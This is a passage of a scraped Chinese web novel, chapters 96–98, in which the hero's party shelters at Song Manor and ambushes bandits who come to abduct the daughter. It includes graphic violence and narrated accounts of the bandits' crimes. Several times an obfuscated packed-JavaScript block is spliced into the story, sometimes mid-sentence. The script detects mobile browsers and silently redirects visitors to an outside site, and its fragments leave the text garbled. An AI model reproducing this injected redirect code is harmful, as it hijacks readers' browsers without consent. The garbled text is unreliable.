“先生,大事不好了!您快出来看看吧,出怪事了!”
卧虎村,学堂。
徐守业正在给村里孩子们讲课,茅仪突然着急忙慌冲了进来。
“出什么事了?”
徐守业赶紧跟着茅仪出来。
学堂里的孩子们,也都纷纷趴在窗前,朝外面张望。
茅仪一指天上,皱眉道:“先生,你看!现在是白天,怎么会有这么亮的星星,这不是怪事吗?”
徐守业抬头看向天空,只见东方果然有一颗星星格外闪耀。
与日同辉,竟然毫不逊色!
“啊?那是紫微帝星……”
徐守业本就是白虎军军师,深谙天文地理之学,此时一见那星星所在的方位,大吃一惊。
东方紫微帝星闪耀,天下将有帝王出世!
这是要出大乱子了!
徐守业当即掐算了起来,想要算算这帝星何时出世,身在何方。
不曾想,算着算着,徐守业鼻腔里一股猩红热流涌出,两眼一黑,身子一软,直接往后倒去!
“先生?!你怎么了?”
茅仪见状,连忙上前扶住了徐守业,随即招呼孩子们出来帮忙,把徐守业抬进了屋里。
与此同时。
大虞京城,钦天监上上下下早已乱作一团。
“坏了!坏了!”
“东方紫微帝星闪耀,真龙将要出世!大虞气数将尽!”
“胡说八道!全都给我闭嘴,不要命啦?!”
“今日之事,谁都不许传出去!”
“圣上若是问起今日天象,就说……就说此乃祥瑞之兆,象征我大虞国泰民安,风调雨顺!”
“……”
皇城根下。
茶馆里。
看客围着说书先生,让他讲讲天上与日头争辉的星星,是怎么回事。
说书先生惶恐至极,避而不谈:“讲不得!讲不得啊!”
这东西敢讲?
分分钟人头落地!
他是想赚钱,但不能为了钱不要命啊!
“姑爷爷,你……你是龙。”
马车里,秦义斗鸡眼瞪得老大,盯着薛猛,磕磕巴巴地说着。
“聋?我还哑呢!”
薛猛撒开秦义和裴红玉的手,背靠车厢角落,抱起胳膊,闭上了双眼,若无其事道:“你们两个消停点,我要睡会儿!”
别看薛猛表面淡定如老狗,实则内心慌得一批。
裴红玉和秦义棋逢对手,刚才已经力竭了。
所以薛猛才能把他们的手掰开。
但即便这俩货处于力竭状态,分开他们的手,也是把薛猛累够呛!
偏偏还得装出一副风轻云淡的样子,不然镇不住这俩货!
“姑爷爷,真乃,神人也!秦义,服了!”
看着薛猛,秦义彻底服了。
他这辈子,还没服过谁。
就连爷爷秦雄,他都不服!
只不过那是他爷爷,不管服不服,他都得听爷爷的话,主**傻但是孝顺这一块儿。
“姑奶奶,我想,拉屎!”
没过一会儿,秦义突然一皱眉,冲裴红玉咧嘴道。
裴红玉满脸无奈,招呼寇芳停车。
片刻后,马车离去。
路边草丛里,多了一坨不可描摹之物,其上不少苍蝇嗡嗡飞舞。
“姑奶奶,我饿!”
“姑奶奶,还有多久能到家啊!”
“姑奶奶,我又想拉屎!”
一路上,秦义吃得多,拉得多,事儿比谁都多。
而且每到一个市镇打尖住店,一言不合,就能和人掐起来。
把薛猛搞得一个头两个大,一路上光给人赔礼道歉了。
坐马车坐烦了,秦义非要骑马,结果把一匹驽马活生生夹**。
不光薛猛头疼,裴红玉也是后悔莫及,早知道这家伙这么麻烦,当初就不该贪图秦雄那三百两银子!
带上秦义这个二傻子,原本最多五天的路程,硬生生拖到第七天,薛猛一行人的车马,方才抵达蜀郡地界。
因为秦义在半路上拉屎,耽搁了时间,到达蜀郡郡城时天已经黑了。
城门已关,进不了城,只能到附近村子借宿。
但薛猛一行,加上秦义足有十五号人,又有七八匹拉车的马和骡子,寻常村民家里,根本住不下。
一个老婆婆见薛猛不像坏人,热心指路道:“小哥,你们人太多了,咱们家实在歇不下,离这四五里地有个宋庄。”
“庄主宋老太公为人仁义,乐善好施,经常收留过往行商、僧侣歇脚,家里房舍多。”
“你们这么多人,只有他那里安置得下!”
“多谢婆婆指路。”
薛猛点头言谢,见老婆婆家徒四壁,骨瘦如柴,不禁想起了当初的自己,示意寇芳取些铜钱,作为答谢。
“这怎么好意思,我怎么能白要你们的钱!”
看着寇芳递过来的一贯铜钱,老婆婆不敢收。
“收下吧老人家。”
说完,薛猛牵着乌骓马,转身离去。
“咱们走!”
罗飞赶着骡车。
寇芳赶着马车。
一行人浩浩荡荡朝宋庄方向奔去。
“你们可真是活神仙呐。”
老婆婆双手捧着铜钱,不禁老泪纵横。
这些铜钱,在这乱世之中,足够换一年的口粮了!
……
砰砰砰!
宋庄门前。
寇芳敲响了已经掉漆的院门。
“谁呀?”
不多时,里面传来脚步声。
随即,院门打开一道缝,探出一双目光警惕的眼睛。
砰!
那人扫了门外薛猛等人一眼,满脸惊恐,直接关上了院门。
“老爷,大事不好了!黑风岭响马真的派人来娶小姐了!!”
听到院子里传来的惊恐叫喊,薛猛眉头一皱:“黑风岭响马?”
“我们很像响马吗?”
薛猛看了看自己身后这帮人。
除了秦义长得稍微有点对不起观众,其他人一个个俊男靓女的,哪里像响马了?
武器也都藏在车里,压根没拿出来啊。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313059|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>寇芳无奈:“恩公,现在怎么办?”
薛猛环顾四周,天色已经黑透,前不着村,后不着店,总不能露宿野外吧?
他们也没有帐篷啊。
万一下雨,不成落汤鸡了?
“再敲!”
砰砰砰!
寇芳再次敲响院门。
然而,这次里面再也没有任何回应。
“我,我来!”
就在这时,秦义走了过来,扯着嗓子,冲院子里喊道。
“里面的人听着!快,开,开门!我们是来借宿的!”
但不管秦义怎么喊,里面一点动静都没有。
“嘿!不理我?”
“那我,就,不客气了!”
秦义目光一扫,瞥见旁边镇宅的石狮子。
那石狮子是花岗岩材质,足有一米高,目测重量少说也有五六百斤。
“给我……破!”
秦义两只手攀住石狮子底座,一咬牙,直接把石狮子举了起来,朝着紧闭的院门砸去。
“**,你个**,你要干嘛!”
看见这一幕,薛猛国粹都爆出来了。
奈何秦义动作实在太快,压根没办法阻止。
只听“砰”的一声爆响,厚实的木门,在石狮子面前形同虚设,轰然爆碎!
前世世界顶级举重运动员,挺举极限也不过才五百二十六斤。
举上一次就几乎力竭了!
而秦义这家伙!
五六百斤的石狮子说扔就扔!
脸不红气不喘!
不愧是将门虎子。
“大王饶命啊,大王饶命啊!!”
院门被石狮子砸碎的瞬间,门后拿着木棒、朴刀的宋庄护院家丁,全都在管家的带领下,跪在了地上,吓得瑟瑟发抖。
他们原本是想藏在门后,等这群响马破门而入,杀他们个措手不及。
没想到,对方直接一个石狮子砸了进来!
这还怎么打?
五六百斤的石狮子都能丢进来,这还是人?
就凭他们这些庄稼把式,根本就没有反抗的必要!
“好哇!你们这些家伙,原来,都,都躲在门后边,想暗算我!”
秦义斗鸡眼一瞪,一把揪住宋庄管家衣领,把他拽了起来:“我,最恨背后偷袭的小人!”
“我,要打死你们!”
李庄管家闻言,吓得魂儿都快飞了!
“饶命啊大王!”
“饶你不得!给我……死吧!”
秦义提起拳头,就要往管家脸上招呼。
“住手!”
薛猛一声大喊,裴红玉应声上前,出手抓住了秦义手腕。
这傻子不知轻重,他这一拳下去,这宋庄管家当场就得没命。
到时候,真成害人性命的响马了!
与薛猛同时喊住手的,还有一个老者。
薛猛循声看去,见是一个皓首苍颜,穿着缎衣,戴着黑帽的老者。
老者拄着拐杖,步履蹒跚,口中急忙喊道:“好汉住手!好汉千万莫要伤了他们性命,你们要多少钱财,都好商量!”
第96章 黑风岭响马来了
看着老者,宋庄管家嘴唇哆嗦,失声喊道:“老爷,我等无能,没能挡住这些响马。”
护院们也都满脸颓丧惭愧,不禁垂下凄凉泪水。
他们之中不少人,都是宋庄特地请来抵挡响马的。
宋老太公对他们款待有加,他们信誓旦旦打包票,说一定能护李庄周全,可没想到,还没开打,就被吓瘫在地!
如今反倒要宋老太公出面,用钱保他们!
真够窝囊的!
“原来您就是宋老太公!”
薛猛上前一步,来到老者身前,语气和缓:“老太公,我想你们误会了。”
“我们并不是响马,而是洪雅县卧虎村的村民,因到外地做生意,回来晚了,进不了郡城。”
“所以想到你庄上借宿一晚,用些饭食,并无恶意。”
宋老太公闻言,抬起一双老眸,仔仔细细打量起薛猛。
见薛猛一身玄袍,身形挺拔,生得剑眉虎目,满面少年英雄之气。
又见薛猛身边,站着一名冷面寒眸,虎背狼腰的红衣女子,和一个身着白色短褂,袒露胸膛的牛眼汉子。
还有一个身着黑衣,纤细小巧,模样清秀的小姑娘。
这几人看上去,都不像是坏人。
唯独秦义突然怼上来的斗鸡眼,把宋老太公吓得一哆嗦。
“老,老头子,你真是老糊涂了!你好好,看看,我们这些人,哪一个像响马?”
秦义怼脸质问道。
听了秦义结结巴巴的话,宋老太公也跟着结巴起来:“他们不像,就你……你像!”
“岂有此理!我爷爷可是大将军,你们居然,说我像响马?”
“行了,秦义,给我闭嘴!”
一路上,薛猛已经容忍过秦义很多次了。
但现在,他决定不再惯着这家伙。
既然秦老将军,把这家伙交给他们管教!
作为先生,自然要拿出先生该有的态度!
见薛猛发火,秦义脖子一缩,不敢再吭声。
自从在马车里看见薛猛显露龙相之后,他就不敢再忤逆薛猛的话了。
“老人家,我们赶了一天的路,带的水和干粮都吃尽了,腹中饥渴得紧,不知可否让我们用些饭食?马和骡子也最好喂些草料,我一并算钱给你!”
薛猛示意寇芳取出银子,递给宋老太公。
看见薛猛给宋老太公银子,宋家管家和护院、家丁,方才彻底相信,薛猛他们不是响马。
毕竟,天底下哪有响马吃饭给钱的?
“啊,银子就不必了!既然不是响马,那就是客人!”
宋老太公松了口气,对管家招呼道:“宋仁呐,快去给客人们准备茶水饭食!”
“好嘞。”
得知薛猛等人并非响马,管家宋仁也是长舒一口气,点点头,转身离去。
“小兄弟,到屋里坐坐吧。”
“那就叨扰贵庄了。”
薛猛一行人,跟着宋老太公进了屋。
马匹、骡子,则被家丁牵去马厩喂草。
“呜呜呜……”
刚进屋坐下没一会儿,忽听得后院里隐约传来女子低泣之声。
薛猛眉头轻皱,对坐在上首的宋老太公问道:“老太公,何人在后院哭泣?”
宋老太公摇摇头,叹道:“不**们的事,吃过饭,你们便快些走吧。”
“走?这么晚了,这前不着,村,后不着,店,你让我们,上,上哪儿去?”
秦义闻言,一拍桌子,就要冒火。
“坐下!”
薛猛虎目一瞪,秦义顿时哑了火,心里却犯起嘀咕,我不是一直都坐着吗?
薛猛转而对宋老太公和声道:“老太公,我们就借宿一晚,明天一早就走,不会打扰你们太久的。”
往桌上布菜的管家,闻言插口道:“小兄弟,你误会了,不是我家老爷不肯留你们住宿。”
“只是数日前,那黑风岭响马下了帖子,说今晚要派人来娶咱们小姐,上山做压寨夫人!”
“你们呐,吃完饭还是快些走吧!不然撞上那些响马,准把你们的银钱、车马全劫了去!”
宋老太公打断了管家的话:“宋仁,我不是让你不要多嘴吗?”
“是,老爷。”
宋仁脖子一缩,自觉走开。
薛猛闻言,恍然大悟。
难怪宋庄的人,把他们误认成响马!
原来是被黑风岭响马吓成了惊弓之鸟!
“老头子,你怕个,鸟蛋啊!响马有什么好怕的?”
秦义从一旁顺了一个洗手盆,哗啦啦地往盆里装饭倒菜:“他们要是敢来,我,帮你,打死他们!”
说完,秦义端起洗手盆,把饭菜搅和搅和,就开始狼吞虎咽起来。
“怎么今天就吃这么点?胃口不好啊?”
裴红玉也端了个洗手盆,饭堆得比秦义还高。
“两个饭桶,丢不丢人,能不能斯文一点!”
薛猛说完,转头抱起蒸饭的木桶埋头吃了起来。
路上干粮买少了,早就被秦义这个饭桶吃光了。
饿了一天,薛猛感觉一头牛自己都吃得下!
罗飞和投掷队等人,虽然没秦义、裴红玉、薛猛三人能吃,但胃口也都不小。
一人最少都得吃两斤饭,一斤肉,再垫吧垫吧其他素菜,才能填饱肚子。
只有寇芳吃得最少,不过她早已习惯了薛猛他们的吃相,表情十分淡定。
“这,这这这……”
而宋老太公,看见这一幕,则是嘴张得都合不拢来。
宋庄的丫鬟、家丁也全都看傻了眼。
他们从来没见过这么能吃的人!
宋仁之前上的那些饭菜,根本
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313060|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就不够吃。
“快!再给这些壮士,多上些饭菜!”
“是,老爷!”
宋仁一连上了四桶饭。
全都被薛猛等人吃个一干二净。
这十五号人,吃了接近四五十人的量。
简直堪称恐怖!
“嗨呀!各位壮士,真乃神人也!”
宋老太公忍不住啧啧称奇。
活了几十年,今天算是开了眼界!
宋仁也是暗自吃惊,这么能吃,难怪能举起几百斤的石狮子!
这些人,虽不是响马,但看样子也非等闲之辈啊!
“孩子,吃饱了吗?”
宋老太公眯眼笑着,关心问道。
秦义抹了抹嘴上的油,接话道:“再,再来三五七八个猪肘子,是最好不过。”
“行啦!吃那么多,待会儿又到处乱拉!像我这样,吃个八成饱就行了!”
薛猛阻止了秦义,不让他再傻吃下去。
而自己则是拿起盘子里最后一个猪肘子,狠狠吃了个干净。
这才擦了擦嘴,心满意足:“老太公,我们吃得差不多了,多谢款待。”
屏风后,宋庄小姐宋婉儿,偷偷用泪眼偷瞥薛猛等人,看着他们的吃相,不由得捂嘴偷笑。
但一想到,自己将要被黑风岭响马强娶上山做压寨夫人,她又悲从中来,笑不出来了。
秦义晃晃悠悠站了起来,摸着脑袋道:“怎么回事,我头怎么晕乎乎的,这饭菜里该不会下毒了吧!”
“胡说啥呢!你那是吃太急了,晕碳了!”
薛猛叹道。
“老太公,可有空床铺?让我们睡会儿吧!”
薛猛揉了揉脑袋,也有些晕碳。
还不等宋老太公回话。
屋里已是鼾声四起!
罗飞等人早就已经趴在饭桌上,呼呼大睡起来!
“这……老夫活了一辈子,只见过喝酒喝醉的,还是头一回见到,吃饭吃醉的!”
宋老太公也是没辙了。
只能让家丁,把罗飞等人抬到后院客房去。
……
“驾!”
距离宋庄三里外,二十余骑响马,手举火把,快马加鞭,趁着夜色直奔宋庄袭掠而来!
为首的有四个人。
光头、白袍瘦子、胖子、刀疤脸。
正是数月前,在卧虎村外踩盘子,被薛猛一箭惊走的几名巡哨骠骑头领。
光头道:“弟兄们听着!待会儿替大王取那宋庄小姐上山之时,把宋家值钱的宝贝,也一并运走!”
胖子问道:“大哥,万一宋庄的人抵抗呢?我可听说,宋老头最近到处请江湖高手替他看家护院!怕不是为了防咱们呢?”
“放心吧,他们不敢!”
光头气焰嚣张,神情傲兀。
整个蜀郡,敢跟黑风岭为敌的江湖高手,还没出生呢!
第97章 五虎大盗,臭名昭著!
“孩子们,你们赶快走吧!”
“连官府都拿黑风岭响马没办法,更何况我区区宋庄?”
“你们有心护我宋庄,老夫感激不尽,但老夫实在不想眼睁睁看着你们白白丢了性命!”
宋庄后院,宋老太公召集了宋庄家丁、护院、仆从,给每个人都分发了遣散银。
挥挥手,苦口婆心道:“快走吧,等黑风岭响马来了,想走都走不成了!”
“老爷,我不走!”
管家宋仁捧着手里的遣散银,眼泪吧嗒往下掉。
“老太公!我们不走!咱们跟那些响马拼了!”
护院们全都红了眼眶,不肯离去。
客房里,薛猛听到外面的动静,醒了过来。
透过窗户纸上的小洞,看着院子里主仆情深的一幕,心情五味杂陈。
同样是地主,也是有区别的。
想当初血洗李庄时,李庄那些家丁、丫鬟跑都来不及,哪里会管李全福、李贺父子的死活。
再看宋庄这些家丁、仆从,宋老太公发了遣散银,却赶都赶不走!
“这宋老太公虽是地主,但也算是个好人。”
“薛猛,咱们帮帮他们吧!”
身后,裴红玉也醒了过来。
薛猛虎目微眯,黑风岭响马这个大患,迟早是要铲除的!
否则今后派人进京送货,保不齐哪天就被这伙响马给劫掠了。
沉思片刻,薛猛点头。
“行!我正好想到个法子!”
“都起来,别睡了!”
薛猛叫醒了还在呼呼大睡的罗飞和秦义等人。
十几号人全都围了过来,听薛猛压低声说道:“待会儿黑风岭响马来了,咱们就这样,然后这样……明白了吧?”
“嘿嘿,明,明白了!姑爷爷,你这个法子,好玩儿!”
连秦义这个二傻子都听明白了,其他人自不必说。
“好,那咱们依计行事!”
薛猛话落,众人取了藏好的武器,立即分头行动。
“寇芳,你留下!”
众人出门后。
薛猛摸出随身携带的纸笔,一连写下三道密令。
交给寇芳,郑重嘱咐道:“我要你以最快的速度,立即将这三道密令送回卧虎村!”
“第一道密令,交给大刀队队长郑叔!”
“第二道密令,交给**队副队长杨虎、**队副队长周楠!”
“最后一道密令,交给老鸦坎的山猫子!”
“是!”
寇芳接过三道密令,按顺序收好。
随即转身掠出窗外,翻过屋脊,犹如暗夜灵猫,转眼消失在无边夜色之中。
啪!
目送寇芳离去,薛猛目光回到桌上的箱子上。
打开箱盖,从里面取出射日弓和箭筒,斜挎在背上。
拿起警恶刀,手握刀柄,缓缓拔刀出鞘。
锵……
顿时之间,寒光四射,斗室生辉。
雪亮刀身上映照出一双森寒虎目,杀意凛然。
这把贤妃所赐的警恶刀,形制酷似唐横刀,经过薛猛重新设计,进行了包钢锻造。
在保留原有神兽花纹的同时,锋利程度更是达到了令人发指的程度!
并且刀柄也换成了钢铁材质。
还可以随时更换长短两种刀柄。
短柄如剑,长柄为刀!
一体两用,谁与争锋!
今夜,注定又是一个杀戮的夜晚!
薛猛莫名感到兴奋。
……
“老爷,要走咱们带着小姐一起走!”
院子里,管家宋仁对宋老太公劝道。
老太公摇摇头:“我不能走!”
“我若是走了,附近村子的村民可就遭殃了!”
管家宋仁闻言,垂下了头。
数日前,黑风岭响马下帖子时,就曾警告过宋庄。
若是宋老太公敢跑,就把附近的村子全屠了。
宋老太公如果要走,早就走了。
拖到今天,就是害怕自己一走,黑风岭响马迁怒附近村子的无辜村民。
屠村之事,在大虞边远之地时有发生。
朝廷和北莽打得不可开交,根本分不出兵力剿匪。
加上天灾、瘟疫频发,各地匪患四起,朝廷根本管不过来。
就拿蜀郡郡城那些官军来说,其中也并非没有想要为民剿匪的有志之士。
但往往刚剿灭了一窝大绺子,没几天又冒出来几窝新的土匪。
土匪越剿越多。
朝廷的军饷还时不时克扣。
久而久之,官军也就没了心气,索性撒手不管了。
黑风岭匪众上千,就算真的把村子屠了,官军也奈何不得他们!
“老爷,咱们家所有的积蓄都在这儿了。”
宋老夫人捧着一个木盒,拖着哭腔,走了过来:“咱们真的要把这些钱,全都给那些响马吗?”
宋老太公无奈叹道:“黑风岭响马要娶咱们女儿做压寨夫人,躲是躲不过的,咱们只能多给些嫁妆,但愿他们能够善待咱闺女!”
一个护院垂泪道:“老太公,你把事情想得太简单了!”
“我常在江湖上走,听说那黑风岭大王,这些年可没少祸害闺女!”
“翠林乡张庄、桃花乡吴庄的小姐,都被他们劫上了山去!说得好听叫压寨夫人,实际上上了山,就是任人宰割的羔羊!”
“我听说那黑风岭大王,爱吃‘不羡羊’!”
“张庄、吴庄的小姐,就是被他给……给……”
说到这里,那护院垂下头,再也说不下去了。
听了这话,院子里所有人都感到脊背发寒。
宋老太公闻言心里咯噔一下。
双手颤抖,似乎下定了某种决心,扭头对管家说道:“宋仁,你们带小姐走吧!把客房里那些客人叫醒,让他们也赶紧跑!”
“老夫留下!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313061|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>“这些畜牲,要**,就吃老夫吧!”
宋老太公话音刚落。
忽听前院响起一个沙哑刺耳的大嗓门。
“宋老头儿!”
“爷爷们来接新娘子了!”
“怎么没人来欢迎?!”
听到这声音,众人皆是一惊。
转头看去,只见一个光头,带着手下直接长驱直入,将宋庄上下十几口子团团围住。
所有人心里都凉了半截。
这下是真的想走都走不了了!
“小老儿不知大王来得这般快,有失远迎,还望大王海涵!”
宋老太公强压心头恐惧,拄着拐杖,连忙上前赔罪。
光头摸了摸后脑勺,咧嘴笑道:“我可不是大王,我乃黑风岭大王座下,第一骠骑营五虎之首!”
“江湖人称‘铁头虎’的便是!”
“这位是我二弟‘玉面虎’!”
“三弟‘金刚虎’!”
“五弟‘剑齿虎’!”
听到这些名号,几名跑过江湖的宋庄护院,顿时心如死灰,再也生不出半点反抗的心思。
这几个人,在上黑风岭之前,便是江湖上臭名昭著的大盗,号称“五虎大盗”!
铁头虎**勒索。
玉面虎拐卖妇女。
金刚虎专吃小孩儿。
剑齿虎**取乐。
还有一个麻脸虎老四不知为何没来,此人最喜欢扒人脸皮,断人手脚。
这五个人凑在一起,**放火,绑票勒索,无恶不作!
近十年来,蜀郡上百起妇女、儿童失踪案,背后都有他们的影子!
他们给拐来的妇女服食水银,使其绝育,然后迫使其接客赚钱!
还把小孩儿手脚折断,再用止血药包扎,逼其上街乞讨!
两年前,东窗事发,窝点被端后,这些家伙为了躲避官府缉捕,这才上了黑风岭落草!
当了响马后,他们愈发残暴!
所过之处,烧杀抢掠,寸草不生,比寻常土匪还要可怕!
寻常土匪,大多只为求财,或是劫色。
而他们却是以虐杀弱者取乐,可谓是丧尽天良!
“几位头领,这是小老儿庄上所有的积蓄,你们拿去吧,但求各位好汉,莫要伤了庄上无辜之人性命!”
宋老太公并非江湖中人,并不知道这几人的恶名,还抱有着一丝委曲求全的幻想。
宋老夫人挪着步子,将手里装着宋庄所有积蓄的盒子,颤颤巍巍递到了铁头虎手边。
“嚯!这老小子,还怪懂事咧!”
铁头虎乐了。
抬手示意身边手下接过木盒。
大大小小的肥羊宰过不少,还是头回遇到这么懂事听话的“肥羊”!
“行,把新娘子叫出来吧!看你这么懂事的份儿上,我就饶你们一命!”
铁头虎话音刚落,却听身旁手下叫道:“大头领,不对劲!这老头儿耍我们!”
第98章 宋小姐这么壮实?
“大头领您看,这么大个庄子,怎么可能才这么点钱!”
手下打开木盒,只见里面只有孤零零的一张银票,还有一些女人的发钗首饰。
看材质和成色,都很一般,值不了多少钱。
铁头虎脸上笑容一僵,捏起那张银票,竟然只有区区二百两。
“宋老头儿,你踏马打发叫花子呢!”
铁头虎直接抱起木盒,朝宋老夫人脸上砸去。
“啊呀!”
宋老夫人来不及躲闪,当场就被砸得头破血流,吓得瘫坐在地。
“大王息怒!”
宋老太公见状,吓得不知所措,只能跪倒在地,苦苦求饶。
管家宋仁鼓起勇气,上前一步,声音颤抖道:“头领,近来洪灾频发,佃户们全都交不上租子,我家老爷乐善好施,不仅不催他们交租,还倒把家中积蓄,拿去接济佃户!”
“如今……家里只剩下这些钱了。”
“去**!”
大胖子“金刚虎”,怒目圆瞪,一脚踹翻宋仁:“爷爷们可不管那么多!这么大个李庄,不可能才这么点钱!”
“小的们,给我进去搜!”
“这老小子,八成是把值钱的东西藏起来了!”
五名响马跟着金刚虎四处踹门打砸,搜寻钱财。
不多时,几人便来到了马厩,只见马厩里有七八匹马和骡子正在埋头吃草。
其中一匹马,浑身乌黑油亮,四蹄宛如踏雪,看上去神骏非凡。
一个手下惊呼道:“三头领,这可是一匹好马啊,值老鼻子钱了!”
金刚虎哼道:“这宋老头果然不老实!家里养着这么一匹宝马,还跟老子装穷!”
“牵走!把这些马和骡子统统牵走!”
“咦!”
“三头领,你快看,这里有个箱子!”
几名响马很快发现了马厩旁边的草堆里,藏着一口箱子。
箱子半开,露出湛湛银光。
“好哇!原来这宋老头把银子全都藏在这儿了!快,打开看看!”
金刚虎见状大喜,招呼手下赶快把箱子打开。
五名响马欣喜若狂,连忙上前,清理掉箱子上的干草,掀开了箱盖。
咻咻咻!
箱盖掀开的瞬间,五名响马还没来得及高兴,就被箱子里飙射出的几道寒芒,瞬间穿透了咽喉。
砰砰砰!
五名响马像霜打了的庄稼,接连错落倒地。
“怎么回事?!”
金刚虎见状,瞳孔一缩。
连忙上前,定睛一看,只见自己五名手下,脖子上全都插着短小铁箭。
金刚虎还没反应过来发生了什么,忽听背后响起一阵瘆人的憨笑。
“嘿……嘿嘿……”
金刚虎扭过肥胖身躯,瞪眼一看,顿时吓傻了眼。
只见一个约莫十五六岁,高颧骨,刀条脸,斗鸡眼的小矮子。
双手举着一个六七百斤重的石狮子,堵在马厩门口,冲他咧嘴傻笑。
金刚虎满脸震惊,就算是他号称“力比金刚”,也举不起这六七百斤重的石狮子!
这小矮子,哪来这么大力气?
“大胖子,我姑爷爷,让我,跟你玩个游戏!”
秦义满脸憨笑,结结巴巴道:“我把石狮子丢过来,你接住!一定,一定要接住哦!”
“要,要是落地上了,我,我打……打死你!”
秦义用最温和的语气,说出的话,却是让金刚虎听得脊背发寒。
这踏马是个疯子吧!
金刚虎刚想拔出腰间****秦义,秦义手中的石狮子,却已经朝他劈头盖脸砸了过来!
“啊!”
咚!
一声骇人闷响,震得地面轻颤。
金刚虎倒在地上。
整个头都被石狮子砸进了地里!
血和脑浆溅得到处都是。
“嘿嘿,好,好玩儿!”
秦义抹了把脸上的血,笑得合不拢嘴:“下次,还玩儿!”
……
“宋老头儿,你这老小子活腻了是吧!”
“装穷还不算,现在居然连你女儿都藏起来了?”
“赶快把你女儿交出来!不然,老子砍了你!”
金刚虎前脚刚走,铁头虎便带着其他人,直接踹门,闯入了宋家小姐的闺房。
但没想到,房间里空空荡荡,连宋家小姐宋婉儿的影子都没见着。
铁头虎大怒,把刀架在老太公脖子上,威胁宋庄人交出宋婉儿。
宋家上下十几口子,全都吓得跪在地上,磕头求饶。
“宋婉儿!”
“我知道你在庄上!”
“我数三个数,若是你还不出来,我就砍了你爹的脑袋!”
铁头虎满脸凶狠,手中**高悬于宋老太公头顶:“三!”
“二!”
“一!”
“好,你不出来是吧?那就别怪老子不客气了!”
铁头虎眼冒凶光,手起刀落,便要在众人惊恐目光中斩下宋老太公项上人头。
宋老太公跪在地上,闭上双眼,已经做好了引颈受戮的准备。
面对这些穷凶极恶的响马,连反抗都是多余的。
“老爷!!!”
宋仁失声痛哭,泪流满面。
宋庄的丫鬟仆从、护院家丁全都哭成一片。
宋老夫人更是受不了这等刺激,当场昏厥了过去。
“住手!”
眼看着宋老太公就要人头落地,就在这时,一个女声骤然从闺房门外响起。
铁头虎一怔。
手中刀,悬停于宋老太公脖颈二寸距离。
众人循声扭头看去,只见一个身高八尺,虎背狼腰,胸脯高耸,冷面寒眸的红衣女子,缓缓步入众人视野之中。
“爹!”
裴红玉来到宋老太公身前,喊了一声。
啊?
裴红玉这一声爹,把宋庄上下十几口子全都喊蒙了。
宋老太公更是老眸一怔,刚想问这丫头怎么乱认爹。
直到看见裴红玉偷偷朝他使眼色,方才若有所悟,闭上了嘴。
“爹!”
“女儿不孝,让你受惊了!”
裴红玉安抚了一下宋老太公情绪,随即扭头看向铁头虎:“这位头领,我就是你们要找的宋婉儿。”
“你们大王既然要娶我上山做压寨夫人,我跟你们去便是,莫要为难我家里人!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313062|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>铁头虎抬头仰望着比他还高的裴红玉,面露狐疑。
探子不是说,宋家闺女温婉柔媚,小巧玲珑吗?
怎么这么壮实?
往那儿一站,跟座塔似的!
“你真是宋家闺女?”
铁头虎感觉有些不对头。
裴红玉挺了挺胸,回道:“如假包换!”
这时,白袍瘦子“玉面虎”凑近铁头虎耳边,压低声道:“大哥,不对劲!哪有闺中小姐这么说话的?”
“寻常女子,见了咱们根本不敢高声说话,此女面上却没有半分惧色,只怕有诈!”
铁头虎点点头,觉得老二说得在理。
刀疤脸“剑齿虎”上前说道:“大哥,王四认得宋婉儿,把他叫过来认一认便知真假!”
“行,就这么办!”
不多时,一个响马喽啰,被叫了进来。
和其他响马不同,这个小喽啰身上衣服破破烂烂,年纪约莫才十七八岁。
看上去畏畏缩缩的,显然刚上山不久,还不够老练。
看清来人的脸,宋老太公目光一颤,险些没气得吐血。
“王四!”
“你怎么当了响马?!”
管家宋仁也是两眼喷火,指着那响马喽啰叫骂起来:“你个小畜牲,当年你娘得瘟病**,还是老太公出钱办的后事!”
“你个狼心狗肺的东西,就是这么报答老太公的?”
小喽啰王四一脚踹在宋仁肚子上,直接把宋仁踹翻在地。
